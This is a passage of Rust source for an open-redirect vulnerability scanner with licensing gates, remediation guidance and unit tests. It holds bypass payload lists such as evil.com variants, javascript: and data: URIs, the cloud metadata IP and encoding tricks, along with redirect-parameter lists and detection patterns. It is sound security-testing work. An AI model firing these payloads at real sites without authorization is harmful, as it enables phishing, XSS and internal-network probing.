"JavaScript",
),
(
"data:text/html,<script>alert(1)</script>".to_string(),
BypassCategory::DataUri,
"Data URI",
),
(
format!("HTTPS://{}", evil),
BypassCategory::CaseMutation,
"Uppercase protocol",
),
(
format!("https:/{}", evil),
BypassCategory::ParserDifferential,
"Single slash",
),
(
format!("https:\\\\{}", evil),
BypassCategory::ParserDifferential,
"Backslash protocol",
),
];
for (payload, category, desc) in core_payloads {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
let ip_payloads = vec![
("http://127.0.0.1", "IPv4 localhost"),
("http://2130706433", "Decimal localhost"),
("http://0x7f000001", "Hex localhost"),
("http://[::1]", "IPv6 localhost"),
("http://169.254.169.254", "AWS metadata"),
];
for (payload, desc) in ip_payloads {
payloads.push(RedirectPayload {
payload: payload.to_string(),
category: BypassCategory::IPAddress,
description: desc.to_string(),
});
}
payloads
}
fn generate_basic_payloads(&self) -> Vec<RedirectPayload> {
vec![
RedirectPayload {
payload: "https://evil.com".to_string(),
category: BypassCategory::Basic,
description: "External HTTPS".to_string(),
},
RedirectPayload {
payload: "//evil.com".to_string(),
category: BypassCategory::ProtocolRelative,
description: "Protocol-relative".to_string(),
},
RedirectPayload {
payload: "javascript:alert(1)".to_string(),
category: BypassCategory::DangerousProtocol,
description: "JavaScript protocol".to_string(),
},
RedirectPayload {
payload: "https://evil.com@trusted.com".to_string(),
category: BypassCategory::UserInfoAbuse,
description: "Userinfo bypass".to_string(),
},
RedirectPayload {
payload: "https%3A%2F%2Fevil.com".to_string(),
category: BypassCategory::EncodingBypass,
description: "URL encoded".to_string(),
},
RedirectPayload {
payload: "/\\evil.com".to_string(),
category: BypassCategory::BackslashTrick,
description: "Backslash trick".to_string(),
},
]
}
fn get_redirect_params_static() -> Vec<&'static str> {
vec![
"redirect",
"redirect_uri",
"redirect_url",
"redirectUri",
"redirectUrl",
"url",
"uri",
"u",
"link",
"href",
"src",
"next",
"next_url",
"nextUrl",
"nexturl",
"next_page",
"return",
"return_url",
"returnUrl",
"returnurl",
"return_to",
"returnTo",
"goto",
"go",
"to",
"target",
"dest",
"destination",
"continue",
"continueUrl",
"continue_url",
"forward",
"fwd",
"forward_url",
"callback",
"callback_url",
"callbackUrl",
"callbackurl",
"redir",
"rurl",
"r",
"red",
"out",
"outbound",
"external",
"path",
"file",
"page",
"site",
"view",
"show",
"ref",
"referer",
"referrer",
"jump",
"jumpto",
"jump_to",
"location",
"redirect_uri",
"post_logout_redirect_uri",
"post_login_redirect_uri",
"login_redirect",
"logout_redirect",
"success_url",
"failure_url",
"error_uri",
"cancel_url",
"origin",
"RelayState",
"SAMLRequest",
"ReturnUrl",
"Target",
"spring.redirect",
"wicket:redirect",
"feed",
"host",
"html",
"image",
"img",
"load",
"nav",
"navigation",
"open",
"domain",
"reference",
"checkout_url",
"success",
"fail",
"wp_redirect",
"redirect_after_login",
"data",
"service",
"service_url",
"targetUrl",
"backUrl",
"back_url",
"back",
"done",
"done_url",
"action",
"action_url",
"default",
"default_url",
"exit",
"exit_url",
"finish",
"finish_url",
"home",
"home_url",
"index",
"index_url",
"login_url",
"logout_url",
"main",
"main_url",
"move",
"move_url",
"next_step",
"original_url",
"previous",
"previous_url",
"proceed",
"proceed_url",
"redirect_to",
"redirectTo",
"relaystate",
"request",
"request_url",
"resource",
"resource_url",
"retUrl",
"ret_url",
"return_path",
"returnPath",
"state",
"state_url",
"step",
"step_url",
"targeturl",
"then",
"to_url",
"toUrl",
"transfer",
"transfer_url",
"window",
"window_url",
]
}
pub async fn scan_parameter(
self: &Arc<Self>,
url: &str,
param_name: &str,
config: &ScanConfig,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
if !crate::license::verify_scan_authorized() {
return Ok((Vec::new(), 0));
}
if !crate::signing::is_scan_authorized() {
tracing::warn!("Open redirect scan blocked: No valid scan authorization");
return Ok((Vec::new(), 0));
}
if ParameterFilter::should_skip_parameter(param_name, ScannerType::Other) {
debug!(
"[OpenRedirect] Skipping framework/internal parameter: {}",
param_name
);
return Ok((Vec::new(), 0));
}
info!("[OpenRedirect] Testing parameter: {}", param_name);
let target_domain = self.extract_domain(url);
let payloads = if crate::license::is_feature_available("enterprise_open_redirect") {
self.generate_enterprise_payloads(&target_domain)
} else if crate::license::is_feature_available("advanced_redirect") {
self.generate_professional_payloads(&target_domain)
} else {
self.generate_basic_payloads()
};
info!(
"[OpenRedirect] Testing {} bypass payloads on parameter '{}'",
payloads.len(),
param_name
);
let baseline = self.get_baseline(url, param_name).await;
let total_tests = Arc::new(AtomicUsize::new(0));
let found_vuln_global = Arc::new(AtomicBool::new(false));
let is_fast_mode = config.scan_mode == crate::types::ScanMode::Fast;
let vulns = self
.scan_parameter_with_payloads(
url,
param_name,
&payloads,
&baseline,
is_fast_mode,
&found_vuln_global,
&total_tests,
)
.await?;
let tests_run = total_tests.load(Ordering::Relaxed);
info!(
"[SUCCESS] [OpenRedirect] Completed {} tests on parameter '{}', found {} vulnerabilities",
tests_run,
param_name,
vulns.len()
);
Ok((vulns, tests_run))
}
fn extract_domain(&self, url: &str) -> String {
if let Ok(parsed) = url::Url::parse(url) {
if let Some(host) = parsed.host_str() {
return host.to_string();
}
}
"example.com".to_string()
}
fn build_test_url(&self, url: &str, param_name: &str, payload: &str) -> String {
let encoded_payload = if payload.contains('%') && !payload.contains("%%") {
payload.to_string()
} else {
urlencoding::encode(payload).to_string()
};
if url.contains('?') {
format!("{}&{}={}", url, param_name, encoded_payload)
} else {
format!("{}?{}={}", url, param_name, encoded_payload)
}
}
async fn get_baseline(&self, url: &str, param_name: &str) -> Option<BaselineResponse> {
let safe_value = "https://same-origin-test.local";
let test_url = self.build_test_url(url, param_name, safe_value);
match self.http_client.get(&test_url).await {
Ok(response) => Some(BaselineResponse {
status_code: response.status_code,
has_location_header: response
.headers
.iter()
.any(|(k, _)| k.to_lowercase() == "location"),
body_length: response.body.len(),
}),
Err(_) => None,
}
}
async fn analyze_http_redirect(
&self,
response: &crate::http_client::HttpResponse,
payload: &str,
description: &str,
url: &str,
param_name: &str,
category: &BypassCategory,
) -> Option<Vulnerability> {
if !(300..400).contains(&response.status_code) && response.status_code != 201 {
return None;
}
let location = response
.headers
.iter()
.find(|(k, _)| k.to_lowercase() == "location")
.map(|(_, v)| v.as_str())?;
if self.is_dangerous_redirect(location, payload) {
let severity = self.determine_severity(category, location);
let confidence = self.determine_confidence(location, payload);
return Some(self.create_vulnerability(
url,
param_name,
payload,
&format!(
"{} - Redirects to: {}",
description,
self.truncate(location, 100)
),
&format!(
"Status: {}\nLocation: {}\nBypass: {}",
response.status_code,
location,
category.as_str()
),
severity,
confidence,
category,
));
}
None
}
fn is_dangerous_redirect(&self, location: &str, payload: &str) -> bool {
let location_lower = location.to_lowercase();
let evil_patterns = [
"evil.com",
"evil。com",
"evil.com",
"attacker.com",
"malicious.com",
"hacker.com",
"pwned.com",
"redirect-test.bountyy.fi",
"еvil.com",
"evіl.com",
"ℯvil.com",
];
for pattern in &evil_patterns {
if location_lower.contains(pattern) {
return true;
}
}
let dangerous_protocols = [
"javascript:",
"data:",
"vbscript:",
"file:",
"about:",
"blob:",
];
for proto in &dangerous_protocols {
if location_lower.starts_with(proto) {
return true;
}
}
if location.starts_with("//") && !location.starts_with("///") {
let host_part = location.trim_start_matches('/');
if let Some(host) = host_part.split('/').next() {
let host = host.split('@').last().unwrap_or(host);
let host = host.split(':').next().unwrap_or(host);
if !host.is_empty()
&& !host.starts_with("127.")
&& !host.starts_with("192.168.")
&& !host.starts_with("10.")
&& host != "localhost"
&& host.contains('.')
{
return true;
}
}
}
let payload_clean = payload
.to_lowercase()
.replace("https://", "")
.replace("http://", "")
.replace("//", "")
.replace("%3a%2f%2f", "")
.replace("%2f%2f", "");
if !payload_clean.is_empty() && location_lower.contains(&payload_clean) {
if !location.starts_with('/') || location.starts_with("//") {
return true;
}
}
false
}
fn analyze_meta_redirect(
&self,
body: &str,
payload: &str,
description: &str,
url: &str,
param_name: &str,
category: &BypassCategory,
) -> Option<Vulnerability> {
let meta_patterns = [
r#"<meta[^>]*http-equiv\s*=\s*["']?refresh["']?[^>]*content\s*=\s*["']([^"']+)["']"#,
r#"<meta[^>]*content\s*=\s*["']([^"']+)["'][^>]*http-equiv\s*=\s*["']?refresh["']?"#,
];
for pattern in &meta_patterns {
if let Ok(regex) = Regex::new(pattern) {
for cap in regex.captures_iter(body) {
if let Some(content) = cap.get(1) {
let content_str = content.as_str();
if self.is_dangerous_redirect(content_str, payload) {
return Some(self.create_vulnerability(
url,
param_name,
payload,
&format!("Meta refresh redirect: {}", description),
&format!("Meta content: {}", self.truncate(content_str, 200)),
Severity::Medium,
Confidence::High,
category,
));
}
}
}
}
}
None
}
fn analyze_js_redirect(
&self,
body: &str,
payload: &str,
description: &str,
url: &str,
param_name: &str,
category: &BypassCategory,
) -> Option<Vulnerability> {
let js_patterns = [
r#"window\.location\s*=\s*["'`]([^"'`]+)["'`]"#,
r#"window\.location\.href\s*=\s*["'`]([^"'`]+)["'`]"#,
r#"location\.href\s*=\s*["'`]([^"'`]+)["'`]"#,
r#"location\s*=\s*["'`]([^"'`]+)["'`]"#,
r#"window\.location\.replace\s*\(\s*["'`]([^"'`]+)["'`]"#,
r#"window\.location\.assign\s*\(\s*["'`]([^"'`]+)["'`]"#,
r#"document\.location\s*=\s*["'`]([^"'`]+)["'`]"#,
r#"top\.location\s*=\s*["'`]([^"'`]+)["'`]"#,
r#"parent\.location\s*=\s*["'`]([^"'`]+)["'`]"#,
r#"self\.location\s*=\s*["'`]([^"'`]+)["'`]"#,
];
for pattern in &js_patterns {
if let Ok(regex) = Regex::new(pattern) {
for cap in regex.captures_iter(body) {
if let Some(redirect_url) = cap.get(1) {
let redirect_str = redirect_url.as_str();
if self.is_dangerous_redirect(redirect_str, payload) {
return Some(self.create_vulnerability(
url,
param_name,
payload,
&format!("JavaScript redirect: {}", description),
&format!("JS redirect to: {}", self.truncate(redirect_str, 200)),
Severity::Medium,
Confidence::Medium,
category,
));
}
}
}
}
}
let decoded_payload = urlencoding::decode(payload).unwrap_or_default();
if body.contains(payload) || body.contains(&*decoded_payload) {
let js_context_patterns = [
"window.location",
"location.href",
"document.location",
"location.assign",
"location.replace",
];
for ctx in &js_context_patterns {
if body.contains(ctx) {
if let Some(pos) = body.find(ctx) {
let context_window =
&body[pos.saturating_sub(200)..std::cmp::min(pos + 500, body.len())];
if context_window.contains(payload)
|| context_window.contains(&*decoded_payload)
{
return Some(self.create_vulnerability(
url,
param_name,
payload,
&format!("Potential DOM-based open redirect: {}", description),
&format!("Payload reflected near {} context", ctx),
Severity::Medium,
Confidence::Low,
category,
));
}
}
}
}
}
None
}
fn analyze_frame_redirect(
&self,
body: &str,
payload: &str,
description: &str,
url: &str,
param_name: &str,
) -> Option<Vulnerability> {
let frame_patterns = [
r#"<iframe[^>]*src\s*=\s*["']([^"']+)["']"#,
r#"<frame[^>]*src\s*=\s*["']([^"']+)["']"#,
r#"<object[^>]*data\s*=\s*["']([^"']+)["']"#,
r#"<embed[^>]*src\s*=\s*["']([^"']+)["']"#,
];
for pattern in &frame_patterns {
if let Ok(regex) = Regex::new(pattern) {
for cap in regex.captures_iter(body) {
if let Some(src) = cap.get(1) {
let src_str = src.as_str();
if self.is_dangerous_redirect(src_str, payload) {
return Some(self.create_vulnerability(
url,
param_name,
payload,
&format!("Frame-based redirect: {}", description),
&format!("Frame src: {}", self.truncate(src_str, 200)),
Severity::Low,
Confidence::Medium,
&BypassCategory::Basic,
));
}
}
}
}
}
None
}
fn determine_severity(&self, category: &BypassCategory, location: &str) -> Severity {
let location_lower = location.to_lowercase();
if location_lower.starts_with("javascript:") || location_lower.starts_with("data:") {
return Severity::High;
}
match category {
BypassCategory::DangerousProtocol | BypassCategory::DataUri => Severity::High,
BypassCategory::HeaderInjection => Severity::High,
BypassCategory::OAuthBypass => Severity::High,
BypassCategory::WhitelistBypass | BypassCategory::ParserDifferential => {
Severity::Medium
}
BypassCategory::UnicodeBypass | BypassCategory::EncodingBypass => Severity::Medium,
BypassCategory::HomoglyphAttack => Severity::Medium,
BypassCategory::NullByteInjection => Severity::Medium,
_ => Severity::Medium,
}
}
fn determine_confidence(&self, location: &str, payload: &str) -> Confidence {
let location_lower = location.to_lowercase();
if location_lower.contains("evil.com")
|| location_lower.contains("redirect-test.bountyy.fi")
{
return Confidence::High;
}
if location_lower.starts_with("javascript:") || location_lower.starts_with("data:") {
return Confidence::High;
}
if location.contains(&payload.replace("https://", "").replace("http://", "")) {
return Confidence::Medium;
}
Confidence::Low
}
fn is_false_positive(&self, vuln: &Vulnerability, baseline: &Option<BaselineResponse>) -> bool {
if let Some(base) = baseline {
if base.has_location_header && vuln.confidence == Confidence::Low {
return true;
}
}
false
}
fn truncate(&self, s: &str, max_len: usize) -> String {
if s.len() > max_len {
format!("{}...", &s[..max_len])
} else {
s.to_string()
}
}
pub async fn scan(
self: &Arc<Self>,
_url: &str,
_config: &ScanConfig,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
Ok((Vec::new(), 0))
}
#[allow(dead_code)]
async fn scan_spray_deprecated(
self: &Arc<Self>,
url: &str,
config: &ScanConfig,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
let target_domain = self.extract_domain(url);
let payloads = Arc::new(
if crate::license::is_feature_available("enterprise_open_redirect") {
self.generate_enterprise_payloads(&target_domain)
} else if crate::license::is_feature_available("advanced_redirect") {
self.generate_professional_payloads(&target_domain)
} else {
self.generate_basic_payloads()
},
);
info!(
"[OpenRedirect] Generated {} payloads (will be reused across all parameters)",
payloads.len()
);
let baseline = Arc::new(self.get_baseline_for_url(url).await);
let all_vulnerabilities = Arc::new(Mutex::new(Vec::new()));
let total_tests = Arc::new(AtomicUsize::new(0));
let found_params = Arc::new(Mutex::new(HashSet::new()));
let found_vuln_global = Arc::new(AtomicBool::new(false));
let is_fast_mode = config.scan_mode == crate::types::ScanMode::Fast;
let all_params = Self::get_redirect_params_static();
let params: Vec<&str> = all_params.iter().take(20).copied().collect();
let param_count = params.len();
info!(
"[OpenRedirect] Testing {} most common redirect parameters in parallel",
param_count
);
stream::iter(params)
.for_each_concurrent(100, |param| {
let scanner = Arc::clone(self);
let url = url.to_string();
let payloads = Arc::clone(&payloads);
let baseline = Arc::clone(&baseline);
let all_vulnerabilities = Arc::clone(&all_vulnerabilities);
let total_tests = Arc::clone(&total_tests);
let found_params = Arc::clone(&found_params);
let found_vuln_global = Arc::clone(&found_vuln_global);
async move {
if is_fast_mode && found_vuln_global.load(Ordering::Relaxed) {
return;
}
let param_vulns = scanner
.scan_parameter_with_payloads(
&url,
param,
&payloads,
&baseline,
is_fast_mode,
&found_vuln_global,
&total_tests,
)
.await;
if let Ok(vulns) = param_vulns {
if !vulns.is_empty() {
info!(
"[VULN] Found {} vulnerabilities in parameter '{}'",
vulns.len(),
param
);
found_vuln_global.store(true, Ordering::Relaxed);
let mut all_vulns = all_vulnerabilities.lock().await;
all_vulns.extend(vulns);
let mut params = found_params.lock().await;
params.insert(param.to_string());
}
}
}
})
.await;
let final_vulns = match Arc::try_unwrap(all_vulnerabilities) {
Ok(mutex) => mutex.into_inner(),
Err(arc) => arc.lock().await.clone(),
};
let final_params = match Arc::try_unwrap(found_params) {
Ok(mutex) => mutex.into_inner(),
Err(arc) => arc.lock().await.clone(),
};
let tests_run = total_tests.load(Ordering::Relaxed);
if !final_params.is_empty() {
warn!(
"[SUCCESS] Open redirect vulnerabilities found in {} parameters: {:?}",
final_params.len(),
final_params
);
}
info!(
"[OpenRedirect] Completed {} total tests across {} parameters",
tests_run, param_count
);
Ok((final_vulns, tests_run))
}
async fn get_baseline_for_url(&self, url: &str) -> Option<BaselineResponse> {
match self.http_client.get(url).await {
Ok(response) => Some(BaselineResponse {
status_code: response.status_code,
has_location_header: response
.headers
.iter()
.any(|(k, _)| k.to_lowercase() == "location"),
body_length: response.body.len(),
}),
Err(_) => None,
}
}
async fn scan_parameter_with_payloads(
&self,
url: &str,
param_name: &str,
payloads: &[RedirectPayload],
baseline: &Option<BaselineResponse>,
is_fast_mode: bool,
found_vuln_global: &Arc<AtomicBool>,
total_tests: &Arc<AtomicUsize>,
) -> anyhow::Result<Vec<Vulnerability>> {
let vulnerabilities = Arc::new(Mutex::new(Vec::new()));
let found_vuln_local = Arc::new(AtomicBool::new(false));
stream::iter(payloads)
.for_each_concurrent(200, |payload_info| {
let scanner = self;
let url = url.to_string();
let param_name = param_name.to_string();
let vulnerabilities = Arc::clone(&vulnerabilities);
let found_vuln_local = Arc::clone(&found_vuln_local);
async move {
if is_fast_mode
&& (found_vuln_local.load(Ordering::Relaxed)
|| found_vuln_global.load(Ordering::Relaxed))
{
return;
}
let test_url = scanner.build_test_url(&url, ¶m_name, &payload_info.payload);
match scanner.http_client.get(&test_url).await {
Ok(response) => {
total_tests.fetch_add(1, Ordering::Relaxed);
if let Some(vuln) = scanner
.analyze_http_redirect(
&response,
&payload_info.payload,
&payload_info.description,
&test_url,
¶m_name,
&payload_info.category,
)
.await
{
if !scanner.is_false_positive(&vuln, baseline) {
found_vuln_local.store(true, Ordering::Relaxed);
let mut vulns = vulnerabilities.lock().await;
vulns.push(vuln);
}
}
if let Some(vuln) = scanner.analyze_meta_redirect(
&response.body,
&payload_info.payload,
&payload_info.description,
&test_url,
¶m_name,
&payload_info.category,
) {
if !scanner.is_false_positive(&vuln, baseline) {
found_vuln_local.store(true, Ordering::Relaxed);
let mut vulns = vulnerabilities.lock().await;
vulns.push(vuln);
}
}
if let Some(vuln) = scanner.analyze_js_redirect(
&response.body,
&payload_info.payload,
&payload_info.description,
&test_url,
¶m_name,
&payload_info.category,
) {
if !scanner.is_false_positive(&vuln, baseline) {
found_vuln_local.store(true, Ordering::Relaxed);
let mut vulns = vulnerabilities.lock().await;
vulns.push(vuln);
}
}
if let Some(vuln) = scanner.analyze_frame_redirect(
&response.body,
&payload_info.payload,
&payload_info.description,
&test_url,
¶m_name,
) {
if !scanner.is_false_positive(&vuln, baseline) {
found_vuln_local.store(true, Ordering::Relaxed);
let mut vulns = vulnerabilities.lock().await;
vulns.push(vuln);
}
}
}
Err(e) => {
debug!(
"Request failed for payload {}: {}",
payload_info.description, e
);
}
}
}
})
.await;
let final_vulns = match Arc::try_unwrap(vulnerabilities) {
Ok(mutex) => mutex.into_inner(),
Err(arc) => arc.lock().await.clone(),
};
Ok(final_vulns)
}
fn create_vulnerability(
&self,
url: &str,
param_name: &str,
payload: &str,
description: &str,
evidence: &str,
severity: Severity,
confidence: Confidence,
category: &BypassCategory,
) -> Vulnerability {
let verified = matches!(confidence, Confidence::High);
let payload_lower = payload.to_lowercase();
let evidence_lower = evidence.to_lowercase();
let is_xss = payload_lower.starts_with("javascript:")
|| payload_lower.starts_with("data:")
|| evidence_lower.starts_with("javascript:")
|| evidence_lower.starts_with("data:")
|| evidence_lower.contains("javascript:")
|| evidence_lower.contains("data:text/html");
let (vuln_type, vuln_category, cwe, cvss) = if is_xss {
(
format!("XSS via {} Redirect", if payload_lower.starts_with("javascript:") { "javascript:" } else { "data:" }),
"XSS".to_string(),
"CWE-79".to_string(),
7.1_f32, )
} else {
let cvss = match severity {
Severity::Critical => 9.1,
Severity::High => 7.4,
Severity::Medium => 6.1,
Severity::Low => 3.7,
Severity::Info => 2.0,
};
(
"Open Redirect".to_string(),
format!("Open Redirect - {}", category.as_str()),
"CWE-601".to_string(),
cvss as f32,
)
};
let description_text = if is_xss {
format!(
"XSS vulnerability via redirect in parameter '{}': Attacker can execute JavaScript by redirecting to a javascript: or data: URI. {}",
param_name, description
)
} else {
format!(
"Open redirect vulnerability in parameter '{}': {}",
param_name, description
)
};
Vulnerability {
id: format!("{}_{}", if is_xss { "xss_redirect" } else { "open_redirect" }, uuid::Uuid::new_v4()),
vuln_type,
severity: if is_xss { Severity::High } else { severity },
confidence,
category: vuln_category,
url: url.to_string(),
parameter: Some(param_name.to_string()),
payload: payload.to_string(),
description: description_text,
evidence: Some(evidence.to_string()),
cwe,
cvss,
verified,
false_positive: false,
remediation: if is_xss { self.get_xss_remediation() } else { self.get_remediation(category) },
discovered_at: chrono::Utc::now().to_rfc3339(),
ml_data: None,
}
}
fn get_xss_remediation(&self) -> String {
r#"CRITICAL: XSS via Redirect Vulnerability
This is NOT just an open redirect - it's a Cross-Site Scripting (XSS) vulnerability!
The application allows redirection to javascript: or data: URIs, enabling arbitrary JavaScript execution.
**Immediate Actions:**
1. Block ALL javascript:, data:, and vbscript: URIs in redirect parameters
2. Implement strict URL validation with allowlist
3. Only allow http:// and https:// protocols
**Code Fix Example:**
```python
def safe_redirect(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https', ''):
return redirect('/error') # Block dangerous protocols
if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
return redirect('/error') # Block external domains
return redirect(url)
```
**Testing:** Verify these payloads are blocked:
- javascript:alert(document.domain)
- data:text/html,<script>alert(1)</script>
- JaVaScRiPt:alert(1) (case variations)"#.to_string()
}
fn get_remediation(&self, category: &BypassCategory) -> String {
let base_remediation = r#"CRITICAL: Open Redirect Vulnerability Remediation
1. **Use an Allowlist of Permitted Destinations**
- Define a strict list of allowed redirect URLs/domains
- Use exact string matching, not substring matching
- Validate against the allowlist on every redirect
2. **Validate URLs Server-Side**
```python
from urllib.parse import urlparse
def is_safe_redirect(url, allowed_hosts):
parsed = urlparse(url)
# Reject if scheme is not http/https
if parsed.scheme not in ('http', 'https', ''):
return False
# Reject if netloc (host) is present but not in allowlist
if parsed.netloc and parsed.netloc not in allowed_hosts:
return False
# Reject protocol-relative URLs
if url.startswith('//'):
return False
return True
```
3. **Use Indirect References**
- Instead of: `/redirect?url=https://example.com`
- Use: `/redirect?id=1` (where id maps to a predefined URL)
4. **Implement Content Security Policy**
```
Content-Security-Policy: navigate-to 'self' https://trusted.com
```
5. **Show Warning Before External Redirects**
- Display interstitial page for external URLs
- Let users confirm they want to leave
"#;
let specific = match category {
BypassCategory::UnicodeBypass | BypassCategory::HomoglyphAttack => {
r#"
6. **Unicode/Homoglyph-Specific Protections**
- Normalize URLs using NFKC normalization before validation
- Convert IDN domains to punycode before comparing
- Use Unicode-aware URL parsing libraries
- Consider rejecting URLs with unusual Unicode characters
- Compare against known homoglyph character sets"#
}
BypassCategory::EncodingBypass | BypassCategory::DoubleEncoding => {
r#"
6. **Encoding-Specific Protections**
- Decode URLs fully before validation (handle double/triple encoding)
- Validate AFTER all decoding is complete
- Use a loop to decode until no changes occur
- Reject URLs with unusual encoding patterns"#
}
BypassCategory::WhitelistBypass | BypassCategory::UserInfoAbuse => {
r#"
6. **Whitelist Bypass Protections**
- Validate the ENTIRE URL, not just parts of it
- Check userinfo (@), path, query, and fragment
- Use: domain == allowedDomain (not contains)
- Reject URLs with userinfo (user:pass@host)"#
}
BypassCategory::OAuthBypass => {
r#"
6. **OAuth/OIDC-Specific Protections**
- Strictly validate redirect_uri against pre-registered URIs
- Use EXACT string matching for OAuth redirects
- Never allow wildcards in redirect_uri registration
- Implement PKCE for additional OAuth security
- Validate at both authorization and token endpoints"#
}
BypassCategory::HeaderInjection => {
r#"
6. **Header Injection Protections**
- Sanitize all user input for CRLF characters (\r\n)
- Use framework-provided redirect functions
- Never construct Location headers manually
- Reject URLs containing %0d, %0a, or newlines"#
}
BypassCategory::ParserDifferential
| BypassCategory::SlashManipulation
| BypassCategory::BackslashTrick => {
r#"
6. **Parser Differential Protections**
- Use consistent URL parsing across all layers
- Normalize URL format before validation
- Reject URLs with unusual slash combinations
- Convert backslashes to forward slashes
- Test with multiple URL parser implementations"#
}
BypassCategory::DangerousProtocol | BypassCategory::DataUri => {
r#"
6. **Protocol-Specific Protections**
- ALLOWLIST only http:// and https:// protocols
- Explicitly block: javascript:, data:, vbscript:, file:
- Check protocol BEFORE any other validation
- Be case-insensitive when checking protocols"#
}
BypassCategory::IPAddress => {
r#"
6. **IP Address Protections**
- Resolve hostnames and validate the IP
- Block internal IP ranges (10.x, 172.16-31.x, 192.168.x)
- Block localhost variants (127.x, 0.0.0.0, ::1)
- Handle decimal/hex/octal IP representations
- Block cloud metadata IPs (169.254.169.254)"#
}
_ => {
r#"
6. **Additional Protections**
- Log and monitor redirect patterns for anomalies
- Consider warning users before external redirects
- Implement rate limiting on redirect endpoints
- Regular security testing for new bypass techniques"#
}
};
format!(
"{}{}
References:
- OWASP Open Redirect: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
- CWE-601: https://cwe.mitre.org/data/definitions/601.html
- PortSwigger: https://portswigger.net/web-security/ssrf",
base_remediation, specific
)
}
}
struct BaselineResponse {
status_code: u16,
has_location_header: bool,
body_length: usize,
}
mod uuid {
use rand::Rng;
pub struct Uuid;
impl Uuid {
pub fn new_v4() -> String {
let mut rng = rand::rng();
format!(
"{:08x}-{:04x}-{:04x}-{:04x}-{:012x}",
rng.random::<u32>(),
rng.random::<u16>(),
rng.random::<u16>(),
rng.random::<u16>(),
rng.random::<u64>() & 0xffffffffffff
)
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::detection_helpers::AppCharacteristics;
use crate::http_client::HttpClient;
use std::sync::Arc;
fn create_test_scanner() -> OpenRedirectScanner {
let http_client = Arc::new(HttpClient::new(30, 3).unwrap());
OpenRedirectScanner::new(http_client)
}
#[test]
fn test_enterprise_payload_count() {
let scanner = create_test_scanner();
let payloads = scanner.generate_enterprise_payloads("example.com");
assert!(
payloads.len() >= 1000,
"Should have at least 1000 payloads, got {}",
payloads.len()
);
println!("Generated {} enterprise payloads", payloads.len());
}
#[test]
fn test_evil_domain_variations() {
let scanner = create_test_scanner();
let domains = scanner.generate_evil_domains();
assert!(
domains.len() >= 25,
"Should have at least 25 domain variations, got {}",
domains.len()
);
}
#[test]
fn test_protocol_variations() {
let scanner = create_test_scanner();
let protocols = scanner.generate_protocols();
assert!(
protocols.len() >= 40,
"Should have at least 40 protocol variations, got {}",
protocols.len()
);
}
#[test]
fn test_is_dangerous_redirect_external() {
let scanner = create_test_scanner();
assert!(scanner.is_dangerous_redirect("https://evil.com", "https://evil.com"));
assert!(scanner.is_dangerous_redirect("//evil.com", "//evil.com"));
assert!(scanner.is_dangerous_redirect("https://evil。com", "evil"));
}
#[test]
fn test_is_dangerous_redirect_protocols() {
let scanner = create_test_scanner();
assert!(scanner.is_dangerous_redirect("javascript:alert(1)", "javascript:alert(1)"));
assert!(scanner.is_dangerous_redirect("data:text/html,<script>", "data:"));
assert!(scanner.is_dangerous_redirect("vbscript:msgbox", "vbscript:"));
}
#[test]
fn test_is_dangerous_redirect_safe() {
let scanner = create_test_scanner();
assert!(!scanner.is_dangerous_redirect("/internal/page", "/internal/page"));
assert!(!scanner.is_dangerous_redirect("/dashboard", "dashboard"));
}
#[test]
fn test_extract_domain() {
let scanner = create_test_scanner();
assert_eq!(
scanner.extract_domain("https://example.com/path"),
"example.com"
);
assert_eq!(
scanner.extract_domain("https://sub.example.com"),
"sub.example.com"
);
}
#[test]
fn test_redirect_params_count() {
let scanner = create_test_scanner();
let params = scanner.get_redirect_params();
assert!(
params.len() >= 100,
"Should have at least 100 param names, got {}",
params.len()
);
}
#[test]
fn test_bypass_categories() {
let scanner = create_test_scanner();
let payloads = scanner.generate_enterprise_payloads("example.com");
let categories: HashSet<_> = payloads.iter().map(|p| &p.category).collect();
assert!(
categories.iter().any(|c| **c == BypassCategory::Basic),
"Missing Basic"
);
assert!(
categories
.iter()
.any(|c| **c == BypassCategory::ProtocolRelative),
"Missing ProtocolRelative"
);
assert!(
categories
.iter()
.any(|c| **c == BypassCategory::EncodingBypass),
"Missing EncodingBypass"
);
assert!(
categories
.iter()
.any(|c| **c == BypassCategory::WhitelistBypass),
"Missing WhitelistBypass"
);
assert!(
categories.iter().any(|c| **c == BypassCategory::IPAddress),
"Missing IPAddress"
);
}
#[test]
fn test_determine_severity() {
let scanner = create_test_scanner();
assert_eq!(
scanner.determine_severity(&BypassCategory::DangerousProtocol, "javascript:alert(1)"),
Severity::High
);
assert_eq!(
scanner.determine_severity(&BypassCategory::Basic, "https://evil.com"),
Severity::Medium
);
}
#[test]
fn test_category_names() {
assert_eq!(BypassCategory::Basic.as_str(), "Basic External Redirect");
assert_eq!(
BypassCategory::DangerousProtocol.as_str(),
"Dangerous Protocol Handler"
);
assert_eq!(BypassCategory::HomoglyphAttack.as_str(), "Homoglyph Attack");
}
}